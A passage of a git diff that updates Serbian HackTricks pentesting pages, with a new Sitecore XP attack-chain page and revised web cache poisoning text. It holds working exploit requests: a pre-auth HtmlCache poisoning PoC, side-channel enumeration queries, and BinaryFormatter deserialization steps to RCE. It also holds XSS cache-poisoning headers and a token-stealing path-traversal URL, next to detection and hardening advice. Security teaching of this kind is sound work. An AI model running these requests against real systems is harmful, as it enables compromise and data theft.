otvorite source u browser-u). Druga mogućnost je upotreba više novih redova i skrivanje informacija u komentaru na **dnu** web stranice. +- **API keys**: Ako **nađete neki API key**, postoji vodič koji pokazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Ako pronađete API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite kojim API-jima ključ može pristupiti. +- **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomain** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** permisije bucket-a](buckets/index.html). ### Special findings -Tokom **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **prihvatiti**/obraćati pažnju. +**Tokom** izvođenja **spideringa** i **brute-forcing-a** možete naći **interesantne** **stvari** na koje treba obratiti pažnju. **Interesting files** - Tražite **linkove** ka drugim fajlovima unutar **CSS** fajlova. -- [Ako nađete _**.git**_ fajl može se izvući neka informacija](git.md) -- Ako nađete _**.env**_ mogu se naći informacije kao što su api keys, db lozinke i druge informacije. -- Ako nađete **API endpoint-e** trebalo bi ih [takođe testirati](web-api-pentesting.md). To nisu fajlovi, ali će verovatno "izgledati" kao oni. -- **JS files**: U sekciji spidering već su pomenuti alati koji mogu ekstraktovati path-ove iz JS fajlova. Takođe, interesantno je **monitorovati svaki JS fajl koji je pronađen**, jer u nekim slučajevima promena može ukazivati da je potencijalna ranjivost ubačena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** -- Treba takođe proveriti otkrivene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi. +- [Ako nađete _**.git**_ fajl moguće je izvući neke informacije](git.md) +- Ako nađete _**.env**_ mogu se naći informacije kao što su api keys, lozinke za DB i druge informacije. +- Ako nađete **API endpoint-e** trebalo bi ih [takođe testirati](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni. +- **JS files**: U sekciji spidering-a pomenuto je nekoliko alata koji mogu ekstrahovati path-ove iz JS fajlova. Takođe bi bilo korisno **monitorisati svaki JS fajl koji je nađen**, jer u nekim slučajevima promena može ukazati da je potencijalna ranjivost ubačena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.** +- Trebalo bi takođe proveriti otkrivene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- U mnogim slučajevima, biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) -- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametru ili pojava nove forme može ukazivati na potencijalno novu ranjivost. +- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- U više slučajeva biće potrebno razumeti korišćene regularne izraze. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) +- Takođe možete **monitorisati fajlove gde su detektovane forme**, jer promena parametra ili pojava nove forme može ukazati na potencijalno novu ranjivu funkcionalnost. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +314,28 @@ Tokom **spidering** i **brute-forcing** možete naići na **interesantne** **stv **502 Proxy Error** -Ako neka stranica **odgovori** tim **kodom**, verovatno je u pitanju **pogrešno konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da pristupi _**google.com**_ **i time ste verovatno pronašli** SSRF. +Ako neka stranica **odgovori** tim **kodom**, verovatno je to **pogrešno konfigurisan proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF. **NTLM Authentication - Info disclosure** -Ako server koji zahteva autentifikaciju radi na **Windows-u** ili nađete login koji traži vaše **credentials** (i traži **domain** **name**), možete izazvati **otkrivanje informacija**.\ -**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji funkcioniše **NTLM authentication**, server će odgovoriti sa internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\ -Ovo možete **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_". +Ako server koji zahteva autentifikaciju radi na **Windows-u** ili ako naiđete na login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\ +**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će odgovoriti internim informacijama (IIS verzija, Windows verzija...) u header-u "WWW-Authenticate".\ +Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Moguće je **staviti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu. +Moguće je **staviti sadržaj** unutar **redirection**. Taj sadržaj **neće biti prikazan korisniku** (pošto će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njoj. ### Web Vulnerabilities Checking -Sada kada je urađena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri mnoštvo mogućih ranjivosti. Checklist možete naći ovde: +Sada kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Checklist možete naći ovde: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Više informacija o web vuln-ovima: +Više informacija o web vulns pogledajte: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +343,7 @@ Više informacija o web vuln-ovima: ### Monitor Pages for changes -Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica na izmene koje bi mogle ubaciti ranjivosti. +Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog izmena koje bi mogle ubaciti ranjivosti. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md new file mode 100644 index 000000000..5cd9b8b48 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -0,0 +1,193 @@ +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE + +{{#include ../../../banners/hacktricks-training.md}} + +Ova stranica sažima praktičan attack chain protiv Sitecore XP 10.4.1 koji pivot‑uje od pre‑auth XAML handler do HTML cache poisoning i, putem authenticated UI flow, do RCE kroz BinaryFormatter deserialization. Tehnike su primenljive i na slične Sitecore verzije/komponente i pružaju konkretne primitive za testiranje, detekciju i zaštitu. + +- Testirani pogođeni proizvod: Sitecore XP 10.4.1 rev. 011628 +- Ispravljeno u: KB1003667, KB1003734 (June/July 2025) + +Vidi takođe: + +{{#ref}} +../../../pentesting-web/cache-deception/README.md +{{#endref}} + +{{#ref}} +../../../pentesting-web/deserialization/README.md +{{#endref}} + +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write + +Ulazna tačka je pre‑auth XAML handler registrovan u web.config: +```xml + +``` +Dostupno putem: +``` +GET /-/xaml/Sitecore.Shell.Xaml.WebControl +``` +Kontrolno stablo uključuje AjaxScriptManager koji, prilikom zahteva događaja, čita attacker‑controlled fields i reflektivno poziva metode na ciljanim kontrolama: +```csharp +// AjaxScriptManager.OnPreRender +string clientId = page.Request.Form["__SOURCE"]; // target control +string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") +... +Dispatch(clientId, text); + +// eventually → DispatchMethod(control, parameters) +MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); +if (m != null) m.Invoke(this, e.Parameters); + +// Alternate branch for XML-based controls +if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} +``` +Ključna zapažanja: XAML stranica uključuje XmlControl instancu (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl nasleđuje Sitecore.Web.UI.WebControl (Sitecore klasa), koja prolazi kroz ReflectionUtil.Filter allow‑list (Sitecore.*), otključavajući metode na Sitecore WebControl. + +Magic method for poisoning: +```csharp +// Sitecore.Web.UI.WebControl +protected virtual void AddToCache(string cacheKey, string html) { +HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); +if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); +} +``` +Pošto možemo ciljati xmlcontrol:GlobalHeader i pozivati metode Sitecore.Web.UI.WebControl po imenu, dobijamo pre‑auth arbitrary HtmlCache write primitive. + +### PoC zahtev (CVE-2025-53693) +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 +Host: target +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +Napomene: +- __SOURCE je clientID xmlcontrol:GlobalHeader unutar Sitecore.Shell.Xaml.WebControl (obično stabilan kao ctl00_ctl00_ctl05_ctl03 jer je izveden iz statičkog XAML-a). +- __PARAMETERS format je Method("arg1","arg2"). + +## What to poison: Cache key construction + +Tipična konstrukcija HtmlCache ključa koju koriste Sitecore controls: +```csharp +public virtual string GetCacheKey(){ +SiteContext site = Sitecore.Context.Site; +if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ +string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; +if (key.Length > 0){ +string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); +if (this.VaryByData) k += ResolveDataKeyPart(); +if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); +if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; +if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); +if (this.VaryByParm) k += "_#parm:" + this.Parameters; +if (this.VaryByQueryString && site?.Request != null) +k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); +if (this.ClearOnIndexUpdate) k += "_#index"; +return k; +} +} +return string.Empty; +} +``` +Primer targeted poisoning za poznati sublayout: +``` +__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +## Enumeracija kešabilnih stavki i “vary by” dimenzija + +Ako je ItemService (pogrešno) izložen anonimno, možete enumerisati komponente koje se mogu keširati da biste dobili tačne ključeve. + +Brza provera: +``` +GET /sitecore/api/ssc/item +// 404 Sitecore error body → exposed (anonymous) +// 403 → blocked/auth required +``` +Prikaži stavke koje se mogu kesirati i zastavice: +``` +GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 +``` +Potražite polja kao što su Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Imena uređaja mogu se izlistati pomoću: +``` +GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 +``` +### Side‑channel enumeration under restricted identities (CVE-2025-53694) + +Čak i kada ItemService preuzima identitet ograničenog naloga (npr. ServicesAPI) i vraća prazan Results niz, TotalCount može i dalje odražavati pre‑ACL Solr hits. Možete brute‑force item groups/ids pomoću wildcards i posmatrati kako se TotalCount konvergira da biste mapirali interni sadržaj i uređaje: +``` +GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true +→ "TotalCount": 3 +GET /...term=%2B_templatename:Device;%2B_group:aa* +→ "TotalCount": 2 +GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* +→ narrow to a specific item +``` +## Post‑auth RCE: BinaryFormatter sink u convertToRuntimeHtml (CVE-2025-53691) + +Sink: +```csharp +// Sitecore.Convert +byte[] b = Convert.FromBase64String(data); +return new BinaryFormatter().Deserialize(new MemoryStream(b)); +``` +Dostupno putem pipeline stepa convertToRuntimeHtml ConvertWebControls, koji traži element sa id-jem {iframeId}_inner i base64 dekodira + deserializuje njegov sadržaj, a zatim injektuje dobijeni string u HTML: +```csharp +HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); +string text2 = inner?.GetAttributeValue("value", ""); +if (text2.Length > 0) +htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); +``` +Okidač (autentifikovan, Content Editor rights). FixHtml dialog poziva convertToRuntimeHtml. End‑to‑end bez UI klikova: +``` +// 1) Start Content Editor +GET /sitecore/shell/Applications/Content%20Editor.aspx + +// 2) Load malicious HTML into EditHtml session (XAML event) +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// 3) Server returns a session handle (hdl) for FixHtml +{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} + +// 4) Visit FixHtml to trigger ConvertWebControls → deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Sadržaj stringa se upisuje u HTML od strane ConvertWebControls nakon što se izvrše deserialization side‑effects. + +{{#ref}} +../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +{{#endref}} + +## Complete chain + +1) Pre‑auth napadač zatrova HtmlCache proizvoljnim HTML-om reflektivnim pozivanjem WebControl.AddToCache preko XAML AjaxScriptManager. +2) Zatrovani HTML servira JavaScript koji nagovara autentifikovanog Content Editor korisnika da pokrene FixHtml flow. +3) FixHtml stranica okida convertToRuntimeHtml → ConvertWebControls, koji deserializuje napadačem kontrolisan base64 preko BinaryFormatter → RCE pod identitetom Sitecore app pool-a. + +## Detection + +- Pre‑auth XAML: zahtevi ka `/-/xaml/Sitecore.Shell.Xaml.WebControl` sa `__ISEVENT=1`, sumnjivim `__SOURCE` i `__PARAMETERS=AddToCache(...)`. +- ItemService probing: nagla povećanja wildcard upita ka `/sitecore/api/ssc`, veliki `TotalCount` sa praznim `Results`. +- Deserialization attempts: `EditHtml.aspx` praćeno `FixHtml.aspx?hdl=...` i neuobičajeno velikim base64 vrednostima u HTML poljima. + +## Hardening + +- Primeniti Sitecore zakrpe KB1003667 i KB1003734; gate/onemogućiti pre‑auth XAML handlere ili dodati strogu validaciju; nadgledati i rate‑limit-ovati `/-/xaml/`. +- Ukloniti/zameniti BinaryFormatter; ograničiti pristup convertToRuntimeHtml ili primeniti strogu serversku validaciju tokova uređivanja HTML-a. +- Zaključati `/sitecore/api/ssc` na loopback ili na autentifikovane role; izbegavati impersonation obrasce koji leak-uju side‑kanale zasnovane na `TotalCount`. +- Primenjivati MFA i princip najmanjih privilegija za Content Editor korisnike; revidirati CSP kako bi se smanjio uticaj JS steering-a koji proizlazi iz cache poisoning-a. + +## References + +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 3ec16c139..0d80c6de4 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,125 +6,129 @@ > **Koja je razlika između web cache poisoning i web cache deception?** > -> - U **web cache poisoning**, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije. -> - U **web cache deception**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša. +> - Kod **web cache poisoning**, napadač navodi aplikaciju da sačuva zlonamerni sadržaj u kešu, i taj sadržaj se iz keša poslužuje drugim korisnicima aplikacije. +> - Kod **web cache deception**, napadač navodi aplikaciju da sačuva osetljivi sadržaj koji pripada nekom drugom korisniku u kešu, a zatim napadač povlači taj sadržaj iz keša. ## Cache Poisoning -Cache poisoning ima za cilj manipulaciju kešom na strani klijenta kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša. +Cache poisoning ima cilj manipulaciju keša na strani klijenta kako bi primorao klijente da učitaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer se zagađeni odgovor poslužuje isključivo korisnicima koji posete stranicu tokom perioda kontaminacije keša. -Izvršenje napada cache poisoning uključuje nekoliko koraka: +Izvođenje cache poisoning napada uključuje nekoliko koraka: -1. **Identifikacija Unkeyed Inputs**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom. -2. **Eksploatacija Unkeyed Inputs**: Nakon identifikacije unkeyed inputs, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču. -3. **Osiguranje da je Kontaminirani Odgovor Keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor. +1. **Identifikacija neključnih ulaza (unkeyed inputs)**: To su parametri koji, iako nisu potrebni da bi se zahtev keširao, mogu izmeniti odgovor koji vraća server. Identifikovanje ovih ulaza je ključno jer se mogu iskoristiti za manipulaciju kešom. +2. **Eksploatacija neključnih ulaza**: Nakon identifikacije, sledeći korak je otkriti kako zloupotrebiti te parametre da se izmeni odgovor servera na način koji pogoduje napadaču. +3. **Osiguravanje da je zagađeni odgovor keširan**: Krajnji korak je obezbediti da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je keš zagađen, dobiće kompromitovani odgovor. -### Otkriće: Proverite HTTP zaglavlja +### Otkrivanje: Proverite HTTP zaglavlja -Obično, kada je odgovor **sačuvan u kešu**, biće **zaglavlje koje to označava**, možete proveriti koja zaglavlja treba da obratite pažnju u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Obično, kada je odgovor sačuvan u kešu, postojaće zaglavlje koje to označava — možete proveriti koja zaglavlja treba da pratite u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Otkriće: Kodovi grešaka u keširanju +### Otkrivanje: Keširanje status kodova grešaka -Ako mislite da se odgovor čuva u kešu, možete pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i čak možete izvršiti DoS). +Ako sumnjate da se odgovor čuva u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori status kodom 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status kod 400, znate da je ranjivo (i čak biste mogli izvesti DoS). Možete pronaći više opcija u: + {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan. +Međutim, imajte na umu da **ponekad ovakvi status kodovi nisu keširani**, pa ovaj test možda neće biti pouzdan. -### Otkriće: Identifikujte i procenite unkeyed inputs +### Otkrivanje: Identifikujte i ocenite neključne ulaze -Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle: +Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da brute-force-ujete parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da naznači klijentu da učita skriptu odatle: ```html ``` -### Izazivanje štetnog odgovora sa back-end servera +### Elicit a harmful response from the back-end server -Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde** se **odražava** ili utiče na odgovor iz hedera. Možete li to iskoristiti na bilo koji način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...) +Kada identifikujete parameter/header, proverite kako se **sanitizuje** i **gde** se **reflektuje** ili utiče na odgovor iz header-a. Možete li ga iskoristiti na bilo koji način (izvesti XSS ili učitati JS kod koji vi kontrolišete? izvesti DoS?...) -### Dobijanje keširanog odgovora +### Get the response cached -Kada ste **identifikovali** **stranicu** koja se može iskoristiti, koji **parametar**/**heder** koristiti i **kako** ga **iskoristiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. +Nakon što ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parameter**/**header** koristiti i **kako** je **zloupotrebiti**, potrebno je da stranica bude keširana. U zavisnosti od resursa koji pokušavate da ubacite u cache, ovo može potrajati — možda ćete morati da pokušavate nekoliko sekundi. -Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\ -Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800` +The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neklučni. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`. +Još jedno interesantno zaglavlje je **`Vary`**. Ovo zaglavlje se često koristi da **naznači dodatna zaglavlja** koja se tretiraju kao **deo cache ključa** čak i ako inače nisu ključovana. Dakle, ako korisnik zna `User-Agent` žrtve koju targetira, on može poison the cache za korisnike koji koriste taj specifični `User-Agent`. -Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu. +Još jedno zaglavlje vezano za keš je **`Age`**. Ono definiše vreme u sekundama koliko je objekat bio u proxy cache-u. -Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. -## Primeri eksploatacije +## Exploiting Examples -### Najlakši primer +### Easiest example -Heder poput `X-Forwarded-For` se odražava u odgovoru bez sanitizacije.\ -Možete poslati osnovni XSS payload i otrovati keš tako da svako ko pristupi stranici bude XSS-ovan: +Zaglavlje poput `X-Forwarded-For` se reflektuje u odgovoru bez sanitizacije.\ +Možete poslati osnovni XSS payload i poison the cache tako da svi koji pristupe stranici budu XSS-ovani: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_ +_Napomena: ovo će poison zahtev ka `/en?region=uk`, a ne ka `/en`_ + +### Cache poisoning to DoS -### Trovanje kešom za DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Trovanje kešom kroz CDN-ove +### Cache poisoning through CDNs -U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario: +In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario: -- CDN će keširati sve pod `/share/` -- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **putanja za pristup drugim osetljivim lokacijama koje će biti keširane** kao što je `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**. +- CDN će cache-ovati sve što je pod `/share/` +- CDN neće dekodovati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **path traversal za pristup drugim osetljivim lokacijama koje će biti cached** kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- web server će dekodovati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**. -### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima +### Using web cache poisoning to exploit cookie-handling vulnerabilities -Kolačići se takođe mogu odraziti na odgovoru stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor. +Cookies se takođe mogu reflektovati u odgovoru stranice. Ako to možete iskoristiti da, na primer, prouzrokujete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju maliciozan cache response. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš. +Imajte na umu da ako je ranjivi cookie često korišćen od strane korisnika, obični zahtevi će čistiti cache. -### Generisanje razlika sa delimiterima, normalizacijom i tačkama +### Generisanje razlika pomoću delimitera, normalizacije i tačaka + +Pogledaj: -Proverite: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Trovanje keša sa prelazom putanje za krađu API ključa +### Cache poisoning sa path traversal za krađu API key -[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera. +[**Ovaj writeup objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API key sa URL-om kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizovanja URL-a, što je urađeno kada je zahtev stigao do web servera. Ovo je takođe bolje objašnjeno u: + {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja web keša +### Korišćenje više header-a za iskorišćavanje web cache poisoning vulnerabilities -Ponekad ćete morati da **iskoristite nekoliko neključenih ulaza** da biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** 